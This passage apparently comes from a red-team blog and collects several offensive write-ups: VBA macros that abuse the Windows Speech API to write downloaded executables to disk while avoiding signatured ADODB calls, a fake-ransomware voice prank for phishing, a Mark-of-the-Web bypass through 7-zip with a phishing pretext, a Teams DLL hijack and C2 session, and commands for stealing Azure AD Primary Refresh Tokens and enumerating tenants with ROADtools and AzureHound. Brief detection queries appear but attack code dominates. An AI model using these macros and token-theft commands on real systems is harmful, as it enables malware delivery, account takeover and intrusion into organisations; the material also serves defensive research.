    Call objFSTRM.Open(tloc, 3, False)
    Call objFSTRM.Write(SendReq.responseBody)
    Call objFSTRM.Close
End If
```

Sadly, the API appeared to add WAV headers to the binary data written to disk. I could not identify a workaround at this time.

However, I kept digging and identified another interesting COM object related to the Speech API: SAPI.SpVoice.1. The *Speak* method of the Windows SpVoice interface allows you to speak text, even from, VBA as shown [here](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms723609\(v=vs.85\)).

```
// COM object
SAPI.SpVoice.1


   TypeName: System.__ComObject#{269316d8-57bd-11d2-9eee-00c04f797396}

Name                                   MemberType Definition                                                 
----                                   ---------- ----------                                                 
DisplayUI                              Method     void DisplayUI (int, string, string, Variant)              
GetAudioOutputs                        Method     ISpeechObjectTokens GetAudioOutputs (string, string)       
GetVoices                              Method     ISpeechObjectTokens GetVoices (string, string)             
IsUISupported                          Method     bool IsUISupported (string, Variant)                       
Pause                                  Method     void Pause ()                                              
Resume                                 Method     void Resume ()                                             
Skip                                   Method     int Skip (string, int)                                     
Speak                                  Method     int Speak (string, SpeechVoiceSpeakFlags)                  
SpeakCompleteEvent                     Method     int SpeakCompleteEvent ()                                  
SpeakStream                            Method     int SpeakStream (ISpeechBaseStream, SpeechVoiceSpeakFlags) 
WaitUntilDone                          Method     bool WaitUntilDone (int)                                   
AlertBoundary                          Property   SpeechVoiceEvents AlertBoundary () {get} {set}             
AllowAudioOutputFormatChangesOnNextSet Property   bool AllowAudioOutputFormatChangesOnNextSet () {get} {set} 
AudioOutput                            Property   ISpeechObjectToken AudioOutput () {get} {set by ref}       
AudioOutputStream                      Property   ISpeechBaseStream AudioOutputStream () {get} {set by ref}  
EventInterests                         Property   SpeechVoiceEvents EventInterests () {get} {set}            
Priority                               Property   SpeechVoicePriority Priority () {get} {set}                
Rate                                   Property   int Rate () {get} {set}                                    
Status                                 Property   ISpeechVoiceStatus Status () {get}                         
SynchronousSpeakTimeout                Property   int SynchronousSpeakTimeout () {get} {set}                 
Voice                                  Property   ISpeechObjectToken Voice () {get} {set by ref}             
Volume                                 Property   int Volume () {get} {set}                           
```

## Proof of Concept

At this point, developing a proof of concept was trivial. The idea was to create a simple Word document for a phishing test. The speech should scare the targeted user into never accepting macros again. The result is shown below:

```
// VBA code
Sub run()
    Dim objVOICE As Object

    'create SpVoice interface COM object instance
    Set objVOICE = CreateObject("SAPI.SpVoice.1")
    
    Dim i As Integer
    i = 1
    
    'Scare the user into thinking this is ransomware
    objVOICE.Speak "Phishing alert! Hacker Detected. Pay 1 bitcoin to unlock your computer. Encrypting your files in 10 9 8 7 6 5 4 3 2 1."
    
    'repeat some stuff 10 times
    Do While i < 10
        objVOICE.Speak "Phishing alert! Hacker Detected."
        i = i + 1
    Loop

    'Inform the user about the test, which is the responsible thing to do
    objVOICE.Speak "This was a test, you failed."
End Sub

```

## Conclusion

In this article, we identified a way to use the Microsoft Speech API from Office macros and other scripts to talk to users. What to do with it is up to the creativity of the developer! The example in this research covers a potential educational phishing scenario.


# Binary File Write via Microsoft Speech API

This page describes how to use the Microsoft Speech API to write binary files from office documents.

## TL;DR

Final proof of concept to make your Word document write binary without the infamous and widely-signatured adodb stream:

<https://github.com/0xbad53c/VBA-Alternative-Binary-File-Write/blob/main/macro.vba>

## Introduction

While researching ways to write binary files via office macros, I stumbled accross a hidden gem: The Microsoft Speech API. Apparently, this API exposes COM objects, which enables you to call it from VBA and write WAV audio files. This article covers how to work around that limitation and avoid the WAV header, enabling you to write fully-intact binary files (e.g. DLLs or EXEs) to disk without the need for the popular ADODB object.

## Discovery

The first step was to identify interesting COM objects. Several interesting targets stood out, but this article will focus on SAPI.SpFileStream.1. The identified object class appeared to have a method to write to a file.

To learn how to dump COM objects, refer to [ired.team](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-com-objects-and-their-methods).

```
// COM Object
SAPI.SpFileStream.1


   TypeName: System.__ComObject#{af67f125-ab39-4e93-b4a2-cc2e66e182a7}

Name   MemberType Definition                                          
----   ---------- ----------                                          
Close  Method     void Close ()                                       
Open   Method     void Open (string, SpeechStreamFileMode, bool)      
Read   Method     int Read (Variant, int)                             
Seek   Method     Variant Seek (Variant, SpeechStreamSeekPositionType)
Write  Method     int Write (Variant)                                 
Format Property   ISpeechAudioFormat Format () {get} {set by ref}    
```

## Writing Content

According to the [Microsoft documentation](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms722562\(v=vs.85\)), the *Open* method of a spFileStream object takes three arguments and can be used to write sound files:

1. The FileName of to the file to write;
2. The [SpeechStreamFileMode](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms720858\(v=vs.85\)), which can be a value of 0 to 3 (SSFMOpenForRead, SSFMOpenReadWrite, SSFMCreate or SSFMCreateForWrite);
3. A DoEvents boolean to decide if the written file should be played;

Next, the *Write* method can be used to write a string to the targeted file. Let's confirm this with a simple vba macro:

```
// VBA to write "His palms are sweaty" to the test.exe file
Sub run()
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Write("His palms are sweaty")
    Call objFSTRM.Close
End Sub
```

Magically, a test.exe file of 88 bytes appears.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FOZN6zUONcPNOn19VAZ3n%2Fimage.png?alt=media&amp;token=43776522-190e-482b-87fd-97367426f294" alt=""><figcaption><p>test.exe is written via SpFileStream</p></figcaption></figure>

Strange, we only wrote \~20 bytes of ASCII. Let's open the file in notepad.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FwYS2FZ78hvM2ue9mJg0H%2Fimage.png?alt=media&amp;token=4d231e01-df3f-453e-bb56-3efe1d1c0ebd" alt=""><figcaption><p>Test.exe opened in notepad</p></figcaption></figure>

It appears that Microsoft autmatically adds a WAVE header to the file. This is not useful to us, as we would like to drop binaries to disk.

## Seek No Further

Pun intended. The SpFileStream class also includes an interesting *Seek* method. This is a way to move the file pointer forwards or backwards in the "audio" stream. The function takes 2 arguments:

1. The position, which is the number of bytes to move forward in the stream;
2. an [SpeechStreamSeekPositionType](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms720862\(v=vs.85\)) parameter, which indicates the position to start from. This is an integer from 0 to 2 (SSSPRelativeToStart, SSSPRelativeToCurrentPosition or SSSPRelativeToEnd)

What if we would tell the program to move the pointer all the way to the start before we write the file? Would it overwrite the WAVE header? We can try this with the following VBA code:

```
// VBA to write "His palms are sweaty" to the test.exe file
Sub run()
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Seek(0, 0) 'Start writing from start, over WAVE header
    Call objFSTRM.Write("His palms are sweaty")
    Call objFSTRM.Close
End Sub
```

Sadly, we still end up with 88 bytes of data. Somehow seek did not go to the start of the header, but rather the start of the data.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FPL6lu1mNw6qrdzcDAq1t%2Fimage.png?alt=media&amp;token=caa548fe-d3ca-4b86-8007-ec8c84c659f5" alt=""><figcaption><p>test.exe is still 88 bytes</p></figcaption></figure>

After this failure, I wrongly concluded that it could not be done and gave it a rest for a couple of months.

## Create and Overwrite

I revisited the subject after a while and started playing around with the various options of the Open method. So far we were using only SSFMCreateForWrite (3) as SpeechStreamFileMode, while there is also SSFMOpenReadWrite (1). The latter does not work when the test.exe file does not exist yet, but there is nothing stopping us from creating it first, right?

The following VBA code snippet first creates the test.exe file, writes an empty string to it and then attempts to overwrite the data:

```
// VBA to write "Mom's spaghetti" to the test.exe file
// and overwrite the WAVE header with "His palms are sweaty"
Sub run()
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Write("Mom's spaghetti")
    Call objFSTRM.Close
    
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 1, False)
    Call objFSTRM.Seek(0, 0)
    Call objFSTRM.Write("His palms are sweaty")
    Call objFSTRM.Close
End Sub
```

Interesting enough, we succeeded in overwriting the header!&#x20;

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FKVVdHZDsy7IGHxhOyO8I%2Fimage.png?alt=media&amp;token=e1bb32ee-05bf-4425-bda6-4d591dd194ce" alt=""><figcaption><p>Successful overwrite of the WAV header</p></figcaption></figure>

At this point, we can write arbitrary content to a WAV file, which should be a binary audio file.

## Final Proof of Concept

Finally, we can put the theory to practice and download an arbitrary executable and write it to disk using SpFileStream. Let's compile a simple Hello World message box program for this test.

```
// Simple Hello World message box
#include <windows.h>

int main()
{
    MessageBoxA(0, "Hello World.", "Hello World MsgBox", 0);
}
```

The executable is 10.5Kb after compilation and the message box pops upon execution.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fa0RtHHr9q6YREK2iO2eU%2Fimage.png?alt=media&amp;token=06f63101-c011-4bde-99fd-983f140ad38d" alt=""><figcaption><p>Working Hello World Message box executable</p></figcaption></figure>

Next, we can craft a macro that downloads the executable via a Microsoft.XMLHTTP object and writes it similar to the last proof of concept.

```
// VBA macro to download and write HelloWorldMsgBox.exe as binary
Sub run()
    remotefile = "http://10.90.201.85/HelloWorldMsgBox.exe"
    Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
    HTTPReq.Open "GET", remotefile, False
    HTTPReq.send

    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 3, False)
    Call objFSTRM.Write("Mom's spaghetti")
    Call objFSTRM.Close
    
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
    Call objFSTRM.Open("C:\\Users\\Stefan\\Desktop\\test.exe", 1, False)
    Call objFSTRM.Seek(0, 0)
    Call objFSTRM.Write(HTTPReq.responseBody)
    Call objFSTRM.Close
End Sub
```

After running the macro, the file was downloaded from our Python http.server.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FkyUhM8p4QhDIWs6oLe0l%2Fimage.png?alt=media&amp;token=d2881dce-c31c-463f-9491-6012f00603d9" alt=""><figcaption><p>Successful download of HelloWorldMsgBox.exe</p></figcaption></figure>

The 10.5Kb executable was successfully written as test.exe and could be executed to prove it still worked!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FTcXKiF0wGZgIx8E2pExo%2Fimage.png?alt=media&amp;token=c8447010-17ec-4b73-9945-bd2cdd223e27" alt=""><figcaption><p>The executable still works!</p></figcaption></figure>

## Detection

In most environments, Office programs do not need to write executable file formats on disk. Therefore, build a baseline in your environment to alert or block writing of DLLs, EXEs or other dangerous file formats. Here is an example elastic query to detect DLL or exe writes from Microsoft Office applications, based on Sysmon event 11 (file creation):

```
event.code: 11 and process.name : ("WINWORD.EXE" or "EXCEL.EXE" or "POWERPNT.EXE" or "OUTLOOK.EXE" or "MSPUB.EXE" or "MSACCESS.EXE" or "eqnedt32.exe" or "fltldr.exe") and (file.name: *.exe or file.name: *.dll)
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FHmcY2SuPnci4hHa6BzVT%2Fimage.png?alt=media&amp;token=b02b7112-c39e-4275-a1d5-362c4fbd74aa" alt=""><figcaption><p>Several test.exe file writes discovered from WINWORD.EXE</p></figcaption></figure>

This query can be expanded to include all multiple executable file formats, such as .js, .vbs, .hta etc. This highly depends the baseline to determine what is considered anomalous in your environment.

Additionally, you could monitor for WINWORD.EXE loading sapi.dll, but this is prone to false positives as there is a text to speach feature to read the document aloud.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Focegz52wFjriPgdPdmxG%2Fimage.png?alt=media&amp;token=c627de2d-75bc-45ff-b300-b44592edebfe" alt=""><figcaption><p>WINWORD.EXE loaded sapi.dll as observed in Process Hacker 2</p></figcaption></figure>

If you know of other detection mechanisms, feel free to let me know via Twitter DM!

## Conclusion

In this article, we experimented with a new way to write binary files from Office macros and other Windows scripting languages. Threat actors can abuse the Microsoft Speech API's SpFileStream object to write binaries to disk, which can be a stepping stone to other attacks, such as DLL sideloading.


# Mark-Of-The-Web Bypass with 7-zip

## Introduction

In 2022, [Microsoft restricted the usage macros in office documents downloaded from the internet](https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805), a major leap forward to reduce the popular maldoc attack surface. However, attackers could still overcome this Mark-Of-The-Web restriction by packing the malicious document in a container, such as zip or ISO files. Upon extraction, the macro-enabled document would not appear to be downloaded from the internet and the evil macros can be executed. Tools like [PackMyPayload](https://github.com/mgeeky/PackMyPayload) demonstrate this concept.

## 7-Zip

The popular[ 7-zip](https://www.7-zip.org) software is one of the possibilities to bypass Mark-Of-The-Web. An attacker can simply 7-zip the malicious Word document and provide the victim with instructions to extract it via 7-zip, which would result in a macro-enabled document.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FBxj30eQ79r2PsiUqiH8C%2Fimage.png?alt=media&amp;token=2cf6b379-20c7-47f0-875d-f928e320b8a2" alt=""><figcaption><p>Unzipping the document with 7-zip</p></figcaption></figure>

## Pretext

For example, the attacker could reply to a job posting and send his resume in an attached 7-zip file, with specific instructions on how to extract the document via 7-zip.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FhK33FPsKawpjSrsZw57Q%2FScreenshot%202023-01-12%20at%2016.18.26.png?alt=media&amp;token=1787c230-4a9a-47c2-8c20-0c5dd5f3b31e" alt=""><figcaption><p>Example phishing mail</p></figcaption></figure>

## Extraction

Pepper, the hiring manager who has 7-zip installed, can simply double-click the file and press "Open".

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FGhQ8XEx0jES7aojfLPkg%2FScreenshot%202023-01-12%20at%2016.23.09.png?alt=media&amp;token=9f2b6f56-d014-4b4f-8d4f-922a845c659b" alt=""><figcaption><p>Prompt to open 7-zip attachment</p></figcaption></figure>

This would automatically open the archive with 7-zip.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FEvyNrMrDHeuhSkGnlYdi%2Fimage.png?alt=media&amp;token=95091acd-9253-4517-ba86-5f77ab1bfe42" alt=""><figcaption><p>7-zip archive containing resume</p></figcaption></figure>

From here, a simple drag-and-drop to desktop is enough to avoid Mark-Of-The-Web.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FSMSrvBWI99zBcKKiSXpu%2Fimage.png?alt=media&amp;token=53029e98-db21-4087-a51d-5c4c8958065f" alt=""><figcaption><p>Resume dragged-and-dropped to desktop</p></figcaption></figure>

## Execution

After opening the document, the victim is presented with a classic encouragement to Enable Content. Additionally, the CV appears to be encrypted for GDPR reasons. One can never have enough protection layers for his personal data!

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FplI5JMddQg0saoCjgDzu%2Fimage.png?alt=media&amp;token=16d81b49-43c5-4868-b2c7-65ed195184d5" alt=""><figcaption><p>Instructions after opening the document</p></figcaption></figure>

When the victim follows the instructions, a legitimate-looking resume appears.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FcqdapJIhByuRfvLfJAax%2Fimage.png?alt=media&amp;token=447e82fc-1658-4938-b87a-9f4cf1bc97bd" alt=""><figcaption><p>Resulting resume</p></figcaption></figure>

## Backend

However, in the backend the malicious macro replaced a DLL on disk in a Microsoft Teams directory. This causes Teams to load the attacker's malware the next time the program starts.

DLL Proxying was used to preserve the functionality original DLL and the malicious DLL loaded encrypted Command and Control shellcode, embedded in a remote png on a webserver via steganography.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fc4yBjCaOySWV9byXQv52%2FScreenshot%202023-01-12%20at%2016.33.55.png?alt=media&amp;token=7b4e7bda-4225-4e6f-86fc-d05d0c537fa6" alt=""><figcaption><p>Visualization of the Microsoft Teams DLL hijack</p></figcaption></figure>

In this case, a Brute Ratel C2 session was started in Microsoft Teams.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FeNBDerwtRhT0xSKKqS6F%2FScreenshot%202023-01-12%20at%2016.40.49.png?alt=media&amp;token=b1838ac1-e677-4fa1-9a3d-0a2f7ddac60c" alt=""><figcaption><p>Brute Ratel C2 session on Pepper's computer</p></figcaption></figure>

## Conclusion

In this article, we demonstrated that office macros can still be used to establish an initial foothold on a victim's machine through the use of containers to deliver the payload. However, it has become harder and takes more effort to convince the victim, which is definitely a step in the right direction!


# Azure and O365


# PRT Abuse from Userland with Cobalt Strike

This page describes how to acquire an Azure AD Single Sign-On session from a non-privileged user session on a Windows machine. The acquired token is later used to enumerate Azure AD via ROADTools.

## Introduction

Over the years, Azure Active Directory has been gaining in popularity. In 2022, some great tools were released to explore this attack surface to help secure your organization against attacks.

This article is the result of connecting dots from other people's research. It could very well be that I misunderstood or misinterpreted some of it. Please reach out if you feel that something is incorrect or unclear.

## Primary Refresh Tokens (PRTs)

Primary Refresh Tokens are used for Single Sign On with Azure AD, much like a Kerberos TGT for on-premise AD. From what I understood (correct me if I'm wrong), this PRT is what allows you to authenticate to your laptop once and then browse the company's sharepoint via MsEdge, go to the Azure portal etc. without re-authenticating.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FiPI0sauG5kV79ylXiycN%2Fimage.png?alt=media&amp;token=4c769aa6-6c35-4226-8e5f-a4af27fb3caf" alt=""><figcaption><p>Requesting a PRT from Azure AD</p></figcaption></figure>

So you get this PRT from Azure AD and can use this for all sorts of Microsoft 365 and cloud services. However, you must be SYSTEM to access is.

## Requesting PRTs

But then how can it be that when I open my browser and access Microsoft 365 company resources, it simply connects? That is because Google Chrome and Microsoft Edge have ways to interact with the system and trigger the use of this token.

Suppose we have a Cobalt Strike Command and Control session in Outlook.exe (userland, no privileged access) after successfully phishing a victim user. Can we obtain a PRT without escalating privileges? The answer is yes. Using the same flow, we as attackers can abuse that mechanism. We can simulate a browser requesting a new PRT cookie, which we can then read. Since cookies are accessible to the user.

Based on research from [Dirk-jan Mollema](https://twitter.com/_dirkjan) and [Lee Christensen](http://twitter.com/tifkin_) (highly recommended reading their research on Azure AD), [wotwot563 released a Beacon Object File (BOF), called aadprt](https://github.com/wotwot563/aad_prt_bof). The idea is simple: Trigger a refresh request using the current PRT via Microsoft Browsercore and then read the cookie value that comes back.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FIVn45cbs6ITuI89GdeVr%2Fimage.png?alt=media&amp;token=436613e7-a0f5-48e4-bb9f-a09f22070a7b" alt=""><figcaption><p>PRT Refresh flow from userland</p></figcaption></figure>

For this attack to work, we need to know the tenant ID of the target organization. This is public information and there are websites like <https://whatismytenantid.com> that make this trivial.

Next, the tenant id can be used with [Dirk-Jan's awesome ROADRecon tool](https://github.com/dirkjanm/ROADtools) to request a nonce from Azure AD.

```
roadrecon auth --prt-init -t "<tenant id>"
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FnmjcF6p0jI7cVdhhQGcF%2FScreenshot%202023-01-12%20at%2017.25.40.png?alt=media&amp;token=156f1db9-cf93-4faf-a842-28df588a4d2e" alt=""><figcaption><p>ROADRecon to request nonce from tenant</p></figcaption></figure>

This nonce is a unique identifier for our request for a new PRT request. Next, we can use the nonce to request a new PRT from Pepper's Cobalt Strike Command and Control session via the aadprt BOF.

```
aadprt <nonce>
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FEHSOGHkGxjpdn6JN0STK%2FScreenshot%202023-01-12%20at%2017.29.21.png?alt=media&amp;token=6d1c3115-4d3a-4430-89f7-a8919c010057" alt=""><figcaption><p>aadprt BOF to request x-ms-RefreshTokenCredential cookie</p></figcaption></figure>

## From PRT to Access Token

We can use the new PRT to get an access and refresh token for the Graph API, which can be used to enumerate Azure Active Directory. Proxychains can be used to socks proxy the token requests through the original endpoint to lower the detection rate (e.g. against Microsoft Defender for Identity).

```
roadtx gettoken --prt-cookie <x-ms-RefreshTokenCredential value>
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FJ77w1L0zplYv7w48NvKp%2FScreenshot%202023-01-12%20at%2017.33.50.png?alt=media&amp;token=bd1f0312-e3bc-4a1c-b4ac-9f87e78c60ac" alt=""><figcaption><p>Request access and refresh token for the Graph API</p></figcaption></figure>

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F8ZZwZ9C0fLMcdS6NWEga%2FScreenshot%202023-01-12%20at%2017.34.05.png?alt=media&amp;token=1316b8e6-40a4-4582-a7ff-6d9458a5b5d0" alt=""><figcaption><p>PRT successfully used to request tokens for the Graph API</p></figcaption></figure>

If we inspect this access token for the Graph API, we notice that it even has a multifactor authentication claim, indicating that pepper already authenticated via mfa and our PRT inherited this.

```
roadtx describe < .roadtools_auth
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FKk99CFPhnUuQpK02kKuU%2FScreenshot%202023-01-12%20at%2017.41.28.png?alt=media&amp;token=99aee2de-8e6e-4e9c-a54b-f08a273a562a" alt=""><figcaption><p>Inspect the requested tokens</p></figcaption></figure>

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FmU7Dhvwktc60BJ2GGyq6%2FScreenshot%202023-01-12%20at%2017.44.24.png?alt=media&amp;token=50eb9cd5-ca05-4ea6-a711-d84d65f518c9" alt=""><figcaption><p>mfa claim present</p></figcaption></figure>

This means that we can now interact with the Graph API to enumerate Azure Active Directory.

## Enumerating Azure AD via RoadRecon

Now, enumerating Azure AD is as simple as running the roadrecon gather command. This will collect all accessible information from the AAD tenant.

```
roadrecon gather
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F5XG5CM5kLdVqizl89WvY%2FScreenshot%202023-01-12%20at%2017.46.19.png?alt=media&amp;token=eba4f5e9-cd07-450d-8d3b-245d27ac91c3" alt=""><figcaption><p>Successful execution of ROADRecon</p></figcaption></figure>

ROADRecon comes with a convenient GUI to analyze the collected data.

```
roadrecon gui
```

After running the command, the UI can be accessed in the browser via <http://localhost:5000>.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FECHuXo7Gc7K1zDCJgTRV%2FScreenshot%202023-01-12%20at%2017.50.27.png?alt=media&amp;token=70333389-dd95-4441-b413-d82ff9b411c3" alt=""><figcaption><p>Exploring the data via ROADRecon UI</p></figcaption></figure>

The potentially exploitable relationships will not be discussed in this article.

## Detection

As far as I am aware, most detections of PRT abuse focus on identification of anomalies, such as:

* A PRT is used from a location that is not related to the victim's usual region. However, attackers can sock proxy through the victim's computer to avoid this indicator;
* A PRT is used to request tokens for a service the victim user does not usually access;
* The PRT is used from a different machine;
* The victim accesses resources it usually does not access;

## Conclusion

In this article, we explored how to request a Primary Refresh Token from userland via Cobalt Strike. We then used this token to enumerate Azure Active Directory.

## References

* [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](<https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/&#xA;>)
* <https://github.com/dirkjanm/ROADtools>
* [https://github.com/dirkjanm/ROADtoken](<https://github.com/dirkjanm/ROADtoken&#xA;>)
* [https://github.com/leechristensen/RequestAADRefreshToken](<https://github.com/leechristensen/RequestAADRefreshToken&#xA;>)
* <https://github.com/trustedsec/CS-Situational-Awareness-BOF>
* <https://github.com/wotwot563/aad_prt_bof>


# Enumerate Azure AD with AzureHound from Userland

This page describes how to enumerate Azure AD with AzureHound, starting from a non-privileged user session on a Windows machine.

## Introduction

In a [previous article](https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike), we discussed how to acquire a Primary Refresh Token (PRT) cookie from a compromised normal user's session on a Windows machine. This Single Sign-On token allows an attacker to impersonate the victim user in Azure AD and opens up a variety of attack possibilities. In this article, we will discuss how to use the acquired PRT to enumerate Azure AD with [AzureHound](https://github.com/BloodHoundAD/AzureHound). AzureHound is the official ingestor for the famous [BloodHound](https://github.com/BloodHoundAD/BloodHound) Active Directory Enumeration tool.

## Requesting a PRT

Follow the "Requesting PRTs" step from the [previous article](https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike) to acquire a new Primary Refresh Token from the victim's session. This approach relies on [Dirk-jan Mollema](https://twitter.com/_dirkjan)'s [ROADTools](https://github.com/dirkjanm/ROADtools) and worwot563's [aad\_prt\_bof](https://github.com/wotwot563/aad_prt_bof).

## Requesting Tokens for the MS Graph API

According to the [documentation](https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html), AzureHound can enumerate Azure AD via the [Microsoft Graph API](https://learn.microsoft.com/en-us/graph/use-the-api). This means that we need to use the acquired PRT to request tokens for this API first. We will impersonate the Azure PowerShell app ([1950a258-227b-4e31-a9cf-717495945fc2](https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)) in the process to obtain the necessary permissions for the MS Graph API. Luckily, ROADTools makes this very easy:

```
roadrecon auth --prt-cookie <primary refresh token value> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FG25gPwM7bY55PlAKbuqu%2FScreenshot%202023-01-14%20at%2016.56.27.png?alt=media&amp;token=fb6fcef0-d501-4515-85dc-1922653f53c1" alt=""><figcaption><p>Command to request a new access and refresh token for the MS Graph API</p></figcaption></figure>

The previous command wrote tokens to the .roadtools\_auth file. The refresh token can be read and copied from this file. This leaves us with a valid refresh token for the MS Graph API, impersonating the Azure PowerShell app as the Pepper Mintstix user in this Azure tenant.

```
cat .roadtools_auth
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FiauGwZVjVHYR1f8cogl5%2FScreenshot%202023-01-14%20at%2017.04.11.png?alt=media&amp;token=ff878dc0-d01f-4e29-891c-e380f797546c" alt=""><figcaption><p>Copying the refresh token for MS Graph.</p></figcaption></figure>

## AzureHound Enumeration

Finally, we can start the enumeration process of the targeted Azure tenant with the acquired refresh token. We can output the results to output.json in the process.

```
./azurehound --refresh-token <copied MS Graph refresh token> list --tenant "<target tenant id>" -o output.json
```

